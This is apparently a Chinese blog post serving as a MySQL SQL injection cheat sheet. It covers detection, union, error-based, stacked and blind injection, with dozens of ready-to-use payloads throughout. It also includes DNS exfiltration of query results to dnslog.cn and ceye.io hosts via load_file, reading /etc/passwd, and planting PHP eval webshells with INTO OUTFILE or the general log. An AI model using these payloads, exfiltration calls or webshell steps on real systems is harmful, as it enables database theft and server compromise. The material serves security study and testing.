SQL基础

定义:

后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

是否有注入?

首先:

  • 字符型:?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失
  • 数字型:参数后id=3-1,观察页面是否会改变

其次:

  • or/and 1=1 页面正常 or/and 1=2 页面内容消失
  • or/and sleep(5) --+ / or '1'='1' 检测时间注入

如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测:

  • and (select 1 from(select sleep(5)))

注入成功与否的因素

  • 准确的注入点
    • 文章的id
    • 用户id
    • 搜索框
    • 登录框
    • 其他请求头:xff,cookie等
  • 字符串的闭合方式:

关于这个闭合,一般用于字符型的注入

    • '
    • "
    • %23
    • --+
  • 空格:
    • /**/
    • %20

注入方式

有回显

联合查询

位置通常在 where后面, 联合语句必须要在select的最后处,所以在注入过程中需要利用注释符号注释掉后面的结构,将前面的参数值改成负数,使得union的语句生效

sql 复制代码
select * from users where id=1 union select 1,2,3,4;

!!!使用用法: order by后添加数字来推算数据表的列数order by 15 的时候页面正常 order by 16 的时候页面回显不正常便可推断数据表有15个列

bash 复制代码
 https://www.xxxx.com?id=8 order by 16

通常如果数字超过了列数,报错如下

sql 复制代码
ERROR 1054(42S22): Unknown column '16'in'order clause'

获取回显点:
select 1,2,3,4,5 (select 1,2,3,4,5 .... ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,因为没有-1,所以要执行union select这段的语句,如图

sql 复制代码
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#     发现可以注入
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x636d73),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x746869735f69735f666c6167),13,14,15#
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,flag,13,14,15 from this_is_flag#

报错注入

报错注入前提是要数据库需要开启报错提示,这样可以通过构造指定的payload来将我们需要的数据进行带出

scss 复制代码
1.floor()
id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a);
2.extractvalue()
id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select* from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select user())a));

常用的SQL报错注入有三种:floor报错注入,extractvalue报错注入,updatexml报错注入

后面两种类型其实是一样的,都是利用xpath来进行报错

Floor报错注入

限制:使用了mysql_error();等输出mysql报错才可以,mysql5.x版本

**记忆方法:select两个位置中一个是count(*), 另一个是floor(rand(0)2)然后利用concat集合payload将报错带出*

简单的来说就是 count( ) 和 floor(rand(0) 2)会起一个化学反应然后报错 利用concat将我们的payload链接进去就可以了

Payload:

csharp 复制代码
and (select 1 from(select count(*),concat((version()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
UpdateXML报错注入

限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法: updatexml(a,b,c) 中间的位置为payload即可

updatexml(a,b,c) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据

Payload:

less 复制代码
and updatexml(1,concat(0x7e,(version()) ),1);
Extractvalue报错注入

限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法:extractvalue(a,b) 第二个位置为payload即可

exractvalue(a,b) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:

less 复制代码
and extractvalue(1,concat(0x7e,(version())  ));

ps:这里一定要加concat或group_concat 不然的话我们输出的数据是不完整的

vbnet 复制代码
ERROR 1105 (HY000): XPATH syntax error: '.17'

加了concat之后

vbnet 复制代码
ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'
uploadxml&&extractvalue绕过长度限制

有时候password长度太长,无法全部显示

  • substr(被截取字符串,起始位置,截取几位)

注意这里有两个concat第一个concat和我们的sql注入进行结合,第二个concat将0x7和substr()进行结合确保数据显示完整

csharp 复制代码
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(password,1,10),0x7e) from test.admin limit 0,1)));
  • substring(被截取字符串,开始位置,截取几位),配合length()函数使用更佳

lenth判断有多长

csharp 复制代码
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,length(password),0x7e) from test.admin limit 0,1)));

substring(password,1)从第一位开始截取,最长截取30位。substring(password,31) 31位到最后

csharp 复制代码
select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));
  • left函数

left(user(),4)='root'; 从左往右取四个

  • right函数

right(user(),9)='localhost'; 从右往左取9个

  • mid函数

mid(字符串,开始位置,返回字符串如果没有则返回整个字符串)

insert注入&update注入
  • insert注入

遇到的注入点是insert语句,这时我们可以利用报错注入或时间盲注来爆出我们想要的数据,判断我们输入的语句拼接到了参数的哪个部分,再进行按情况拼合

本地测试的时候的注入语句:

时间盲注:

sql 复制代码
id=1 and (select 1 from(select case when user() like "%r%" then sleep(5) else 1 end)x),'1000') -- -

报错注入:

scss 复制代码
extractvalue(1,(concat(0x7e,(payload),0x7e)))
id=1 and extractvalue(1,concat(0x7e,version())),'1000') -- -   // 补全前面的结构然后注释掉后面的结构
  • insert插入多行

进行闭合,对内容进行填充

sql 复制代码
INSERT INTO test VALUES(1,'admin','admin'),(2,'test','test');
  • update注入

也可以用报错和时间盲注

sql 复制代码
id=1 and (select 1 from(select case when(user() like "%r%") then sleep(5) else 1 end )x)
id=1 and extractvalue(1,concat(1,database()))

堆叠注入

堆叠注入可通过分号来执行多个sql语句,危害非常大,不过在mysql中非常少见

php中查询需要用到 mysqli_multi_query 才可进行堆叠注入

csharp 复制代码
id=1;select user();

无回显

scss 复制代码
常用payload:
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'T
if((length(database())=8),5,0)        //判断数据库长度,在sleep()的参数进行替换
if((mid(database(),1,1='y')),5,0)
if((substr(database(),1,1)>120),5,0)  //数据库首字母

布尔盲注

布尔(boolen)盲注就是通过判断返回页面的正确与否来进行拆解数据,因为不用等待延时所以相比时间盲注速度快很多

if条件判断布尔盲注

模板:

ini 复制代码
and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);

例子:第一个表名为a的注入语句如下:

csharp 复制代码
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);

时间盲注

有时某网站会把回显和报错都进行关闭,这时候可以使用时间盲注根据回显的时间来判断数据是否正确

时间盲注的种类有三种:sleep,benchmark,笛卡尔积

时间盲注其实基本都是换汤不换药,主要的模版不变,换的就是那些造成延迟的函数,我个人觉得利用select case when这个比较好 如下

sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);
利用benchmark函数

利用benchmark进行延时注入,经过测试在同id的情况下并不会出现延时时间翻倍情况

原理:将一个算式重复运算多次从而造成时间延迟

例:select benchmark(10000000,sha(1));

将she(1)执行10000000从而造成时间延迟

这种需要多加几个0,才能造成延迟

sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);
利用sleep函数
sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);

同样使用if也可以进行

sql 复制代码
select * from admin where id=1 and if((substring(user(),1,1))='r',sleep(5),1)

测试过程中推荐使用sql子查询的方式来进行注入,这样sleep时间准确些

sql 复制代码
select * from admin where id=1 and (select 1 from(select if(substring(user(),1,1)='r',sleep(5),1))x);
利用笛卡尔积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

css 复制代码
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

套模板:

sql 复制代码
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);
if条件判断时间注入
scss 复制代码
id=1 and sleep(2)
id=1 and if((substr(select user(),1,1)='r'),sleep(2),1)

模板:

scss 复制代码
and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);
case条件判断时间注入

模板:

arduino 复制代码
case when(条件语句) then sleep(5) else 1 end;
sql 复制代码
select * from admin where id=1 and/or case when(select user() like '%root%') then sleep(5) else 1 end;

比较好用的,用于字符型的:

perl 复制代码
and (select 1 from(select case when(ord(substr(database(),1,1))=105) then sleep(5) else 1 end)x) or '1'='1

外带法

DNS注入

通过把我们的结果当作我们的域名的前缀传回 ,主要是利用load_file这个函数,需要root的权限,secure_file_priv参数为空,windows操作系统

sql 复制代码
show variables like "%secure%"

secure_file_priv 空 代表允许读写目录

secure_file_priv NULL 代表不允许输入输出

secure_file_priv D:\ 代表只能在D盘进行读写

less 复制代码
select load_file(concat('\\',database(),'.xw2elk.dnslog.cn\abc'));
0'XOR(select load_file(concat('\\',(select database()),'.xxx.ceye.io\abc')))XOR't      //payload

Mysql读写文件

条件:

  • 查看secure_file_priv (5.5.53之前的版本是secure_file_priv变量 默认为空)
  • root

如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改

sql 复制代码
show variables like "%secure%";
csharp 复制代码
select load_file('/etc/passwd');    //读文件
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';  //写文件
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';  //一般用于二进制文件

Linux下写文件

如果想要使用读写函数,必须满足以下要求:

  1. 当前用户是root用户
  2. secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
  3. 写shell的文件夹必须要 777的权限不然会写入失败
  4. 文件大小: 必须小于max_allowed_packet
arduino 复制代码
ERROR 1 (HY000): Can't create/write to file '/usr/2.php' (Errcode: 13)

Linux下读文件

  1. 当前用户是root用户
  2. 目标文件可读,如下:

windows下读文件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
csharp 复制代码
 select load_file('C:/sql.txt');

windows下写文件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
sql 复制代码
SELECT 'XXXXXX' INTO OUTFILE '路径';
SELECT 'XXXXXX' INTO DUMPFILE '路径';  // 一般用于写二进制数据

利用绝对路径写shell

csharp 复制代码
select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php

利用mysql的日志getshell

其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写

将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell

知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)

ini 复制代码
SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;
相关推荐
文心快码BaiduComate1 小时前
我用文心快码Spec 模式搓了个“pre作弊器”,妈妈再也不用担心我开会忘词了(附源码)
前端·后端·程序员
aiopencode2 小时前
iOS 性能监控 运行时指标与系统行为的多工具协同方案
后端
E***U9452 小时前
从新手到入门:如何判断自己是否真的学会了 Spring Boot
数据库·spring boot·后端
招风的黑耳2 小时前
智慧养老项目:当SpringBoot遇到硬件,如何优雅地处理异常与状态管理?
java·spring boot·后端
回家路上绕了弯2 小时前
分布式锁原理深度解析:从理论到实践
分布式·后端
磊磊磊磊磊2 小时前
用AI做了个排版工具,分享一下如何高效省钱地用AI!
前端·后端·react.js
hgz07102 小时前
Spring Boot Starter机制
java·spring boot·后端
daxiang120922052 小时前
Spring boot服务启动报错 java.lang.StackOverflowError 原因分析
java·spring boot·后端
我家领养了个白胖胖2 小时前
极简集成大模型!Spring AI Alibaba ChatClient 快速上手指南
java·后端·ai编程
一代明君Kevin学长3 小时前
快速自定义一个带进度监控的文件资源类
java·前端·后端·python·文件上传·文件服务·文件流